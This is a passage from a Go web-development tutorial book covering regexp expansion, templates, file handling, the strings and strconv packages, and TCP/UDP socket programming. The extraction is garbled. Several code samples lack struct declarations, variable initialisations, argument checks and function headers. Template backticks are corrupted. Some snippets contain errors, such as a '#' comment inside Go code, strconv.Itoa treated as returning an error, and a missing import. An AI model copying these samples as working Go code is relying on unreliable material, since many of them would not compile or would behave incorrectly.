func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string
These are used in the crawling example, so we will not explain any further here.
Let's take a look at the definition of Expand :
func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte
So how do we use Expand ?
func main() {
src := []byte(`
call hello alice
hello bob
call hello eve
`)
pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
res := []byte{}
for _, s := range pat.FindAllSubmatchIndex(src, -1) {
res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
}
fmt.Println(string(res))
}
At this point, you've learnt the whole regexp package in Go. I hope that you can understand more by studying examples of
key methods, so that you can do something interesting on your own.
Links
Directory
Previous section: JSON
Next section: Templates
166
Templates
7.4 Templates
What is a template?
Hopefully you're aware of the MVC (Model, View, Controller) design model, where models process data, views show the
results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in
static HTML files. For instance, JSP is implemented by inserting <%=....=%> , PHP by inserting <?php.....?> , etc.
The following demonstrates the template mechanism:
Figure 7.1 Template mechanism
Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For
example, if you need to display a list users who have visited a page, only the user name would be dynamic. The style of the
list remains the same. As you can see, templates are useful for reusing static content.
Templating in Go
In Go, we have the template package to help handle templates. We can use functions like Parse , ParseFile and
Execute to load templates from plain text or files, then evaluate the dynamic parts, as shown in figure 7.1.
Example:
func handler(w http.ResponseWriter, r *http.Request) {

t := template.New("some template") // Create a template.
t, _ = t.ParseFiles("tmpl/welcome.html", nil) // Parse template file.
user := GetUser() // Get current user infomration.
t.Execute(w, user) // merge.
}
As you can see, it's very easy to use, load and render data in templates in Go, just as in other programming languages.
For the sake of convenience, we will use the following rules in our examples:
Use Parse to replace ParseFiles because Parse can test content directly from strings, so we don't need any extra
files.
Use main for every example and do not use handler .
Use os.Stdout to replace http.ResponseWriter since os.Stdout also implements the io.Writer interface.
Inserting data into a template

We've just shown you how to parse and render templates. Let's take it one step further and render data to our templates.
Every template is an object in Go, so how do we insert fields to templates?
Fields
In Go, Every field that you intend to be rendered within a template should be put inside of {{}} . {{.}} is shorthand for
the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you
should use {{.FieldName}} . Notice that only exported fields can be accessed in templates. Here is an example:
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Templates
package main
import (
"html/template"
"os"
)

UserName string
}
func main() {
t := template.New("fieldname example")
t, _ = t.Parse("hello {{.UserName}}!")
p := Person{UserName: "Astaxie"}
t.Execute(os.Stdout, p)
}
The above example outputs hello Astaxie correctly, but if we modify our struct a little bit, the following error emerges:

UserName string
email string // Field is not exported.
}
t, _ = t.Parse("hello {{.UserName}}! {{.email}}")
This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to
use a field that does not exist, Go simply outputs an empty string instead of an error.
If you print {{.}} in a template, Go outputs a formatted string of this object, calling fmt under the covers.
Nested fields
We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in
one loop? We can use {{with …}}…{{end}} and {{range …}}{{end}} for exactly that purpose.
{{range}} just like range in Go.
{{with}} lets you write the same object name once and use . as shorthand for it ( Similar to with in VB ).
More examples:
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Templates
package main
import (
"html/template"
"os"
)
type Friend struct {

Fname string
}

UserName string
Emails []string
Friends []*Friend
}
func main() {
f1 := Friend{Fname: "minux.ma"}
f2 := Friend{Fname: "xushiwei"}
t, _ = t.Parse(`hello {{.UserName}}!
{{range .Emails}}
an email {{.}}
{{end}}
{{with .Friends}}
{{range .}}
my friend name is {{.Fname}}
{{end}}
{{end}}
`)
p := Person{UserName: "Astaxie",
Emails: []string{"[email protected]", "[email protected]"},
Friends: []*Friend{&f1, &f2}}
}
Conditions
If you need to check for conditions in templates, you can use the if-else syntax just like you do in regular Go programs. If
the pipeline is empty, the default value of if is false . The following example shows how to use if-else in templates:
package main
import (
"os"
"text/template"
)
func main() {
tEmpty := template.New("template test")
tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n"))
tEmpty.Execute(os.Stdout, nil)
tWithValue := template.New("template test")

tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if ànything`}} will be outputted. {{e
nd}}\n"))
tWithValue.Execute(os.Stdout, nil)
tIfElse := template.New("template test")

tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if ànything`}} if part {{else}} else part.{{end}}\n"))
tIfElse.Execute(os.Stdout, nil)
}
As you can see, it's easy to use if-else in templates.
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Templates
Attention You CANNOT use conditional expressions in if, for instance .Mail=="[email protected]" . Only boolean values
are acceptable.
pipelines
Unix users should be familiar with the pipe operator, like ls | grep "beego" . This command filters files and only shows
those that contain the word beego . One thing that I like about Go templates is that they support pipes. Anything in {{}}
can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we
address this issue using pipes?
{{. | html}}
We can use this method to escape the e-mail body to HTML. It's quite similar to writing a Unix command, and it is
convenient for use in template functions.
Template variables
Sometimes we need to use local variables in templates. We can use them with the with , range and if keywords, and
their scope is between these keywords and {{end}} . Here's an example of declaring a global variable:
$variable := pipeline
More examples:
{{with $x := "output" | printf "%q"}}{{$x}}{{end}}

{{with $x := "output"}}{{printf "%q" $x}}{{end}}
{{with $x := "output"}}{{$x | printf "%q"}}{{end}}
Template functions
Go uses the fmt package to format output in templates, but sometimes we need to do something else. For example
consider the following scenario: let's say we want to replace @ with at in our e-mail address, like astaxie at beego.me .
At this point, we have to write a customized function.
Every template function has a unique name and is associated with one function in your Go program as follows:
type FuncMap map[string]interface{}
Suppose we have an emailDeal template function associated with its EmailDealWith counterpart function in our Go
program. We can use the following code to register this function:
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
EmailDealWith definition:
func EmailDealWith(args …interface{}) string
Example:
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Templates
package main
import (
"fmt"
"html/template"
"os"
"strings"
)
type Friend struct {

Fname string
}

UserName string
Emails []string
Friends []*Friend
}
func EmailDealWith(args ...interface{}) string {

ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
// find the @ symbol
substrs := strings.Split(s, "@")
if len(substrs) != 2 {
return s
}
// replace the @ by " at "
return (substrs[0] + " at " + substrs[1])
}
func main() {
f1 := Friend{Fname: "minux.ma"}
f2 := Friend{Fname: "xushiwei"}
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
t, _ = t.Parse(`hello {{.UserName}}!
{{range .Emails}}
an emails {{.|emailDeal}}
{{end}}
{{with .Friends}}
{{range .}}
my friend name is {{.Fname}}
{{end}}
{{end}}
`)
p := Person{UserName: "Astaxie",
Emails: []string{"[email protected]", "[email protected]"},
Friends: []*Friend{&f1, &f2}}
}
Here is a list of built-in template functions:
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Templates
var builtins = FuncMap{

"and": and,
"call": call,
"html": HTMLEscaper,
"index": index,
"js": JSEscaper,
"len": length,
"not": not,
"or": or,
"print": fmt.Sprint,
"printf": fmt.Sprintf,
"println": fmt.Sprintln,
"urlquery": URLQueryEscaper,
}
Must
The template package has a function called Must which is for validating templates, like the matching of braces, comments,
and variables. Let's take a look at an example of Must :
package main
import (
"fmt"
"text/template"
)
func main() {
tOk := template.New("first")
template.Must(tOk.Parse(" some static text /* and a comment */"))
fmt.Println("The first one parsed OK.")
template.Must(template.New("second").Parse("some static text {{ .Name }}"))

fmt.Println("The second one parsed OK.")
fmt.Println("The next one ought to fail.")

tErr := template.New("check parse error with Must")
template.Must(tErr.Parse(" some static text {{ .Name }"))
}
Output:
The first one parsed OK.

The second one parsed OK.
The next one ought to fail.
panic: template: check parse error with Must:1: unexpected "}" in command
Nested templates
Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and
footers of a blog. We can declare header , content and footer as sub-templates, and declare them in Go using the
following syntax:
{{define "sub-template"}}content{{end}}
The sub-template is called using the following syntax:
{{template "sub-template"}}
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Templates
Here's a complete example, supposing that we have the following three files: header.tmpl , content.tmpl and
footer.tmpl in the folder templates , we will read the folder and store the file names in a string array, which we will then
use to parse files.
Main template:
{% raw %}
//header.tmpl
{{define "header"}}
<html>
<head>
<title>Something here</title>
</head>
<body>
{{end}}
//content.tmpl
{{define "content"}}
{{template "header"}}
<h1>Nested here</h1>
<ul>
<li>Nested usag</li>
<li>Call template</li>
</ul>
{{template "footer"}}
{{end}}
//footer.tmpl
{{define "footer"}}
</body>
</html>
{{end}}
//When using subtemplating make sure that you have parsed each sub template file,
//otherwise the compiler wouldn't understand what to substitute when it reads the {{template "header"}}
{% endraw %}
Code:
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Templates
package main
import (
"fmt"
"os"
"io/ioutil"
"text/template"
)
var templates *template.Template
func main() {
var allFiles []string
files, err := ioutil.ReadDir("./templates")
if err != nil {
fmt.Println(err)
}
for _, file := range files {
filename := file.Name()
if strings.HasSuffix(filename, ".tmpl") {
allFiles = append(allFiles, "./templates/"+filename)
}
}
templates, err = template.ParseFiles(allFiles...) #parses all .tmpl files in the 'templates' folder
s1 := templates.Lookup("header.tmpl")
s1.ExecuteTemplate(os.Stdout, "header", nil)
fmt.Println()
s2 := templates.Lookup("content.tmpl")
s2.ExecuteTemplate(os.Stdout, "content", nil)
fmt.Println()
s3 := templates.Lookup("footer.tmpl")
s3.ExecuteTemplate(os.Stdout, "footer", nil)
fmt.Println()
s3.Execute(os.Stdout, nil)
}
Here we can see that template.ParseFiles parses all nested templates into cache, and that every template defined by
{{define}} are independent of each other. They are persisted in something like a map, where the template names are
keys and the values are the template bodies. We can then use ExecuteTemplate to execute the corresponding sub-
templates, so that the header and footer are independent and content contains them both. Note that if we try to execute
s1.Execute , nothing will be outputted because there is no default sub-template available.
When you don't want to use {{define}} , then you can just create a text file with the name of the sub template, for instance
_head.tmpl is a sub template which you'll use across your project then create this file in the templates folder, and use the
normal syntax. Lookup cache is basically created so that you don't read the file every time you serve a request, because if
you do, then you are wasting a lot of resources for reading a file which won't change unless the codebase is being
rewritten, it doesn't make sense to parse the template files during each HTTP GET request, so the technique is used where
we parse the files once and then do a Lookup() on the cache to execute the template when we need it to display data.
Templates in one set know each other, but you must parse them for every single set.
Some times you want to contextualize templates, for instance you have a _head.html , you might have a header who's
value you have to populate based on which data you are loading for instance for a todo list manager you can have three
categories pending , completed , deleted . for this suppose you have an if statement like this
<title>{{if eq .Navigation "pending"}} Tasks

{{ else if eq .Navigation "completed"}}Completed
{{ else if eq .Navigation "deleted"}}Deleted
{{ else if eq .Navigation "edit"}} Edit
{{end}}
</title>
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Templates
Note: Go templates follow the Polish notation while performing the comparison where you give the operator first and the
comparison value and the value to be compared with. The else if part is pretty straight forward
Typically we use a {{ range }} operator to loop through the context variable which we pass to the template while
execution like this:
//present in views package

context := db.GetTasks("pending") //true when you want non deleted notes
homeTemplate.Execute(w, context)
We get the context object from the database as a struct object, the definition is as below
//Task is the struct used to identify tasks

type Task struct {
Id int
Title string
Content string
Created string
}
//Context is the struct passed to templates
type Context struct {
Tasks []Task
Navigation string
Search string
Message string
}
//present in database package

var task []types.Task
var context types.Context
context = types.Context{Tasks: task, Navigation: status}
//This line is in the database package where the context is returned back to the view.
We use the task array and the Navigation in our templates, we saw how we use the Navigation in the template, we'll see
how we'll use the actual task array in our template.
Here in the {{ if .Tasks }} we first check if the Tasks field of our context object which we passed to the template while
executing is empty or not. If it is not empty then we will range through that array to populate the title and content of Task.
The below example is very important when it comes to looping through an array in a template, we start with the Range
operator, then we can give any member of that struct as {{.Name}} , my Task structure has a Title and a Content, (please
note the capital T and C, they are exported names and they need to be capitalised unless you want to make them private).
{{ range .Tasks }}
{{ .Title }}
{{ .Content }}
{{ end }}
This block of code will print each title and content of the Task array. Below is a full example from
github.com/thewhitetulip/Tasks home.html template.
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Templates
<div class="timeline">
{{ if .Tasks}} {{range .Tasks}}
<div class="note">
<p class="noteHeading">{{.Title}}</p>
<hr>
<p class="noteContent">{{.Content}}</p>
</ul>
</span>
</div>
{{end}} {{else}}
<div class="note">
<p class="noteHeading">No Tasks here</p>
<p class="notefooter">
Create new task<button class="floating-action-icon-add" > here </button> </p>
</div>
{{end}}
Summary
In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops,
template functions and nested templates. By learning about templates, we can conclude discussing the V (View) part of the
MVC architecture. In the following chapters, we will cover the M (Model) and C (Controller) aspects of MVC.
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Next section: Files
176
Files
7.5 Files
Files are essential objects on every single computer device. It won't come as any surprise to you that web applications also
make heavy use of them. In this section, we're going to learn how to operate on files in Go.
Directories
In Go, most of the file operation functions are located in the os package. Here are some directory functions:
func Mkdir(name string, perm FileMode) error
Create a directory with name . perm is the directory permissions, i.e 0777.
func MkdirAll(path string, perm FileMode) error
Create multiple directories according to path , like astaxie/test1/test2 .
func Remove(name string) error
Removes directory with name . Returns error if it's not a directory or not empty.
func RemoveAll(path string) error
Removes multiple directories according to path . Directories will not be deleted if path is a single path.
Code sample:
package main
import (
"fmt"
"os"
)
func main() {
os.Mkdir("astaxie", 0777)
os.MkdirAll("astaxie/test1/test2", 0777)
err := os.Remove("astaxie")
if err != nil {
fmt.Println(err)
}
os.RemoveAll("astaxie")
}
Files
Create and open files
There are two functions for creating files:
func Create(name string) (file *File, err Error)
Create a file with name and return a read-writable file object with permission 0666.
func NewFile(fd uintptr, name string) *File
Create a file and return a file object.
There are also two functions to open files:
func Open(name string) (file *File, err Error)
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Files
Opens a file called name with read-only access, calling OpenFile under the covers.
func OpenFile(name string, flag int, perm uint32) (file *File, err Error)
Opens a file called name . flag is open mode like read-only, read-write, etc. perm are the file permissions.
Write files
Functions for writing files:
func (file *File) Write(b []byte) (n int, err Error)
Write byte type content to a file.
func (file *File) WriteAt(b []byte, off int64) (n int, err Error)
Write byte type content to a specific position of a file.
func (file *File) WriteString(s string) (ret int, err Error)
Write a string to a file.
Code sample:
package main
import (
"fmt"
"os"
)
func main() {
userFile := "astaxie.txt"
fout, err := os.Create(userFile)
if err != nil {
fmt.Println(userFile, err)
return
}
defer fout.Close()
for i := 0; i < 10; i++ {
fout.WriteString("Just a test!\r\n")
fout.Write([]byte("Just a test!\r\n"))
}
}
Read files
Functions for reading files:
func (file *File) Read(b []byte) (n int, err Error)
Read data to b .
func (file *File) ReadAt(b []byte, off int64) (n int, err Error)
Read data from position off to b .
Code sample:
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Files
package main
import (
"fmt"
"os"
)
func main() {
userFile := "asatxie.txt"
fl, err := os.Open(userFile)
if err != nil {
fmt.Println(userFile, err)
return
}
defer fl.Close()
buf := make([]byte, 1024)
for {
n, _ := fl.Read(buf)
if 0 == n {
break
}
os.Stdout.Write(buf[:n])
}
}
Delete files
Go uses the same function for removing files and directories:
func Remove(name string) Error
Remove a file or directory called name .( a name ending with / signifies that it's a directory )
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Next section: Strings
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Strings
7.6 Strings
On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a
very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate
strings. In this section, we are going to introduce the strings and strconv packages from the Go standard library.
strings
The following functions are from the strings package. See the official documentation for more details:
func Contains(s, substr string) bool
Check if string s contains string substr , returns a boolean value. ```Go

fmt.Println(strings.Contains("seafood", "foo")) fmt.Println(strings.Contains("seafood", "bar"))
fmt.Println(strings.Contains("seafood", "")) fmt.Println(strings.Contains("", ""))
//Output: //true //false //true //true
- func Join(a []string, sep string) string
Combine strings from slice with separator `sep`.

```Go
s := []string{"foo", "bar", "baz"}
fmt.Println(strings.Join(s, ", "))
//Output:foo, bar, baz
func Index(s, sep string) int
Find index of sep in string s , returns -1 if it's not found.
fmt.Println(strings.Index("chicken", "ken"))
fmt.Println(strings.Index("chicken", "dmr"))
//Output:4
//-1
func Repeat(s string, count int) string
Repeat string s count times.
fmt.Println("ba" + strings.Repeat("na", 2))

//Output:banana
func Replace(s, old, new string, n int) string
Replace string old with string new in string s . n is the number of replacements. If n is less than 0, replace all
instances.
fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))

fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
//Output:oinky oinky oink
//moo moo moo
func Split(s, sep string) []string
Split string s with separator sep into a slice.
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Strings
fmt.Printf("%q\n", strings.Split("a,b,c", ","))

fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a "))
fmt.Printf("%q\n", strings.Split(" xyz ", ""))
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
//Output:["a" "b" "c"]
//["" "man " "plan " "canal panama"]
//[" " "x" "y" "z" " "]
//[""]
func Trim(s string, cutset string) string
Remove cutset of string s if it's leftmost or rightmost.
fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))

Output:["Achtung"]
func Fields(s string) []string
Remove space items and split string with space into a slice.
fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz "))

//Output:Fields are: ["foo" "bar" "baz"]
strconv
The following functions are from the strconv package. As usual, please see official documentation for more details:
Append series, convert data to string, and append to current byte slice. ```Go package main
import ( "fmt" "strconv" )
func main() { str := make([]byte, 0, 100) str = strconv.AppendInt(str, 4567, 10) str = strconv.AppendBool(str, false) str =
strconv.AppendQuote(str, "abcdefg") str = strconv.AppendQuoteRune(str, '单') fmt.Println(string(str)) }
- Format series, convert other data types into string.

```Go
package main
import (
"fmt"
"strconv"
)
func main() {
a := strconv.FormatBool(false)
b := strconv.FormatFloat(123.23, 'g', 12, 64)
c := strconv.FormatInt(1234, 10)
d := strconv.FormatUint(12345, 10)
e := strconv.Itoa(1023)
fmt.Println(a, b, c, d, e)
}
Parse series, convert strings to other types. ```Go

package main
import ( "fmt" "strconv" )
func main() { a, err := strconv.ParseBool("false") if err != nil { fmt.Println(err) } b, err := strconv.ParseFloat("123.23", 64) if err
!= nil { fmt.Println(err) } c, err := strconv.ParseInt("1234", 10, 64) if err != nil { fmt.Println(err) } d, err :=
strconv.ParseUint("12345", 10, 64) if err != nil { fmt.Println(err) } e, err := strconv.Itoa("1023") if err != nil { fmt.Println(err) }
fmt.Println(a, b, c, d, e) } ```
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182
Summary
7.7 Summary
In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates.
XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats.
Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine
dynamic data with static files. These tools are all useful when developing web applications. I hope that you now have a
better understanding of processing and displaying content using Go.
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Previous section: Strings
Next chapter: Web services
183
Web services
8 Web services
Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to
know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write
a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local
function and getting its return value.
The key point is that web services are platform independent. This allows you to deploy your applications on Linux and
interact with ASP.NET applications in Windows, for example, just like you wouldn't have a problem interacting with JSP on
FreeBSD either.
The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these
days:
REST requests are pretty straight forward because it's based on HTTP. Every REST request is actually an HTTP
request, and servers handle requests using different methods. Because many developers are familiar with HTTP
already, REST should feel like it's already in their back pockets. We are going to show you how to implement REST in
Go in section 8.3.
SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C.
The problem with SOAP is that its specification is very long and complicated, and it's still getting longer. Go believes
that things should be simple, so we're not going to talk about SOAP. Fortunately, Go provides support for RPC
(Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to
implement RPC in Go in section 8.4.
Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we'll introduce
you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low
performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game
companies, and we will talk about this more in section 8.2.
Links
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Next section: Sockets
184
Sockets
8.1 Sockets
Some network application developers say that the lower application layers are all about socket programming. This may not
be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever
wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and
your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer
data. As you can see, sockets occupy an important position in network programming today, and we're going to learn about
using sockets in Go in this section.
What is a socket？
Sockets originate from Unix, and given the basic "everything is a file" philosophy of Unix, everything can be operated on
with "open -> write/read -> close". Sockets are one implementation of this philosophy. Sockets have a function call for
opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for
operations like creating connections, transferring data, etc.
Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets
(SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections,
like UDP.
Socket communication
Before we understand how sockets communicate with one another, we need to figure out how to make sure that every
socket is unique, otherwise establishing a reliable communication channel is already out of the question. We can give every
process a unique PID which serves our purpose locally, however that's not able to work over a network. Fortunately, TCP/IP
helps us solve this problem. The IP addresses of the network layer are unique in a network of hosts, and "protocol + port" is
also unique among host applications. So, we can use these principles to make sockets which are unique.
Figure 8.1 network protocol layers
Applications that are based on TCP/IP all use socket APIs in their code in one way or another. Given that networked
applications are becoming more and more prevalent in the modern day, it's no wonder some developers are saying that
"everything is about sockets".
Socket basic knowledge

We know that sockets have two types, which are TCP sockets and UDP sockets. TCP and UDP are protocols and, as
mentioned, we also need an IP address and port number to have a unique socket.
IPv4
The global internet uses TCP/IP as its protocol, where IP is the network layer and a core part of TCP/IP. IPv4 signifies that
its version is 4; infrastructure development to date has spanned over 30 years.
The number of bits in an IPv4 address is 32, which means that 2^32 devices are able to uniquely connect to the internet.
Due to the rapid develop of the internet, IP addresses are already running out of stock in recent years.
Address format: 127.0.0.1 , 172.122.121.111 .
IPv6
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Sockets
IPv6 is the next version or next generation of the internet. It's being developed for solving many of the problems inherent
with IPv4. Devices using IPv6 have an address that's 128 bits long, so we'll never need to worry about a shortage of unique
addresses. To put this into perspective, you could have more than 1000 IP addresses for every square meter on earth with
IPv6. Other problems like peer to peer connection, service quality (QoS), security, multiple broadcast, etc., are also be
improved.
Address format: 2002:c0e8:82e7:0:0:0:c0e8:82e7 .
IP types in Go
The net package in Go provides many types, functions and methods for network programming. The definition of IP as
follows:
type IP []byte
Function ParseIP(s string) IP is to convert the IPv4 or IPv6 format to an IP:
package main
import (
"net"
"os"
"fmt"
)
func main() {
if len(os.Args) != 2 {
fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0])
os.Exit(1)
}
name := os.Args[1]
addr := net.ParseIP(name)
if addr == nil {
fmt.Println("Invalid address")
} else {
fmt.Println("The address is ", addr.String())
}
os.Exit(0)
}
It returns the corresponding IP format for a given IP address.
TCP socket
What can we do when we know how to visit a web service through a network port? As a client, we can send a request to an
appointed network port and gets its response; as a server, we need to bind a service to an appointed network port, wait for
clients' requests and supply a response.
In Go's net package, there's a type called TCPConn that facilitates this kind of clients/servers interaction. This type has
two key functions:
func (c *TCPConn) Write(b []byte) (n int, err os.Error)

func (c *TCPConn) Read(b []byte) (n int, err os.Error)
TCPConn can be used by either client or server for reading and writing data.
We also need a TCPAddr to represent TCP address information:
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Sockets
type TCPAddr struct {

IP IP
Port int
}
We use the ResolveTCPAddr function to get a TCPAddr in Go:
func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)
Arguments of net can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or
IPv6, respectively.
addr can be a domain name or IP address, like "www.google.com:80" or "127.0.0.1:22".
TCP client
Go clients use the DialTCP function in the net package to create a TCP connection, which returns a TCPConn object;
after a connection is established, the server has the same type of connection object for the current connection, and client
and server can begin exchanging data with one another. In general, clients send requests to servers through a TCPConn
and receive information from the server response; servers read and parse client requests, then return feedback. This
connection will remain valid until either the client or server closes it. The function for creating a connection is as follows:
func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error)
Arguments of net can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or
IPv6, respectively.
laddr represents the local address, set it to nil in most cases.
raddr represents the remote address.
Let's write a simple example to simulate a client requesting a connection to a server based on an HTTP request. We need a
simple HTTP request header:
"HEAD / HTTP/1.0\r\n\r\n"
Server response information format may look like the following:
HTTP/1.0 200 OK
ETag: "-9985996"
Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT
Content-Length: 18074
Connection: close
Date: Sat, 28 Aug 2010 00:43:48 GMT
Server: lighttpd/1.4.23
Client code:
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Sockets
package main
import (
"fmt"
"io/ioutil"
"net"
"os"
)
func main() {
fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0])
os.Exit(1)
}
service := os.Args[1]
tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
checkError(err)
conn, err := net.DialTCP("tcp", nil, tcpAddr)
checkError(err)
_, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
checkError(err)
result, err := ioutil.ReadAll(conn)
checkError(err)
fmt.Println(string(result))
os.Exit(0)
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
os.Exit(1)
}
}
In the above example, we use user input as the service argument of net.ResolveTCPAddr to get a tcpAddr . Passing
tcpAddr to the DialTCP function, we create a TCP connection, conn . We can then use conn to send request
information to the server. Finally, we use ioutil.ReadAll to read all the content from conn , which contains the server
response.
TCP server
We have a TCP client now. We can also use the net package to write a TCP server. On the server side, we need to bind
our service to a specific inactive port and listen for any incoming client requests.
func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error)

func (l *TCPListener) Accept() (c Conn, err os.Error)
The arguments required here are identical to those required by the DialTCP function we used earlier. Let's implement a
time syncing service using port 7777:
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Sockets
package main
import (
"fmt"
"net"
"os"
"time"
)
func main() {
service := ":7777"
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
daytime := time.Now().String()
conn.Write([]byte(daytime)) // don't care about return value
conn.Close() // we're finished with this client
}
}
if err != nil {
os.Exit(1)
}
}
After the service is started, it waits for client requests. When it receives a client request, it Accept s it and returns a
response to the client containing information about the current time. It's worth noting that when errors occur in the for
loop, the service continues running instead of exiting. Instead of crashing, the server will record the error to a server error
log.
The above code is still not good enough, however. We didn't make use of goroutines, which would have allowed us to
accept simultaneous requests. Let's do this now:
189
Sockets
package main
import (
"fmt"
"net"
"os"
"time"
)
func main() {
service := ":1200"
checkError(err)
checkError(err)
for {
if err != nil {
continue
}
go handleClient(conn)
}
}
func handleClient(conn net.Conn) {

defer conn.Close()
conn.Write([]byte(daytime)) // don't care about return value
// we're finished with this client
}
if err != nil {
os.Exit(1)
}
}
By separating out our business process from the handleClient function, and by using the go keyword, we've already
implemented concurrency in our service. This is a good demonstration of the power and simplicity of goroutines.
Some of you may be thinking the following: this server does not do anything meaningful. What if we needed to send
multiple requests for different time formats over a single connection? How would we do that?
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Sockets
package main
import (
"fmt"
"net"
"os"
"time"
"strconv"
)
func main() {
service := ":1200"
checkError(err)
checkError(err)
for {
if err != nil {
continue
}
go handleClient(conn)
}
}
func handleClient(conn net.Conn) {

conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout
request := make([]byte, 128) // set maximum request length to 128B to prevent flood based attacks
defer conn.Close() // close connection before exit
for {
read_len, err := conn.Read(request)
if err != nil {
fmt.Println(err)
break
}
if read_len == 0 {
break // connection already closed by client
} else if string(request[:read_len]) == "timestamp" {
daytime := strconv.FormatInt(time.Now().Unix(), 10)
conn.Write([]byte(daytime))
} else {
conn.Write([]byte(daytime))
}
}
}

if err != nil {
os.Exit(1)
}
}
In this example, we use conn.Read() to constantly read client requests. We cannot close the connection because clients
may issue more than one request. Due to the timeout we set using conn.SetReadDeadline() , the connection closes
automatically after our allotted time period. When the expiry time has elapsed, our program breaks from the for loop.
Notice that request needs to be created with a max size limitation in order to prevent flood attacks.
Controlling TCP connections

Controlling TCP functions:
func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)
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Sockets
Setting the timeout of connections. These are suitable for use on both clients and servers:
func (c *TCPConn) SetReadDeadline(t time.Time) error

func (c *TCPConn) SetWriteDeadline(t time.Time) error
Setting the write/read timeout of one connection:
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error
It's worth taking some time to think about how long you want your connection timeouts to be. Long connections can reduce
the amount of overhead involved in creating connections and are good for applications that need to exchange data
frequently.
For more detailed information, just look up the official documentation for Go's net package .
UDP sockets
The only difference between a UDP socket and a TCP socket is the processing method for dealing with multiple requests
on server side. This arises from the fact that UDP does not have a function like Accept . All of the other functions have
UDP counterparts; just replace TCP with UDP in the functions mentioned above.
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)

func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)
UDP client code sample:
package main
import (
"fmt"
"net"
"os"
)
func main() {
fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
os.Exit(1)
}
udpAddr, err := net.ResolveUDPAddr("udp4", service)
checkError(err)
conn, err := net.DialUDP("udp", nil, udpAddr)
checkError(err)
_, err = conn.Write([]byte("anything"))
checkError(err)
var buf [512]byte
n, err := conn.Read(buf[0:])
checkError(err)
fmt.Println(string(buf[0:n]))
os.Exit(0)
}
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
os.Exit(1)
}
}
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Sockets
UDP server code sample:
package main
import (
"fmt"
"net"
"os"
"time"
)
func main() {
service := ":1200"
udpAddr, err := net.ResolveUDPAddr("udp4", service)
checkError(err)
conn, err := net.ListenUDP("udp", udpAddr)
checkError(err)
for {
handleClient(conn)
}
}
func handleClient(conn *net.UDPConn) {
var buf [512]byte
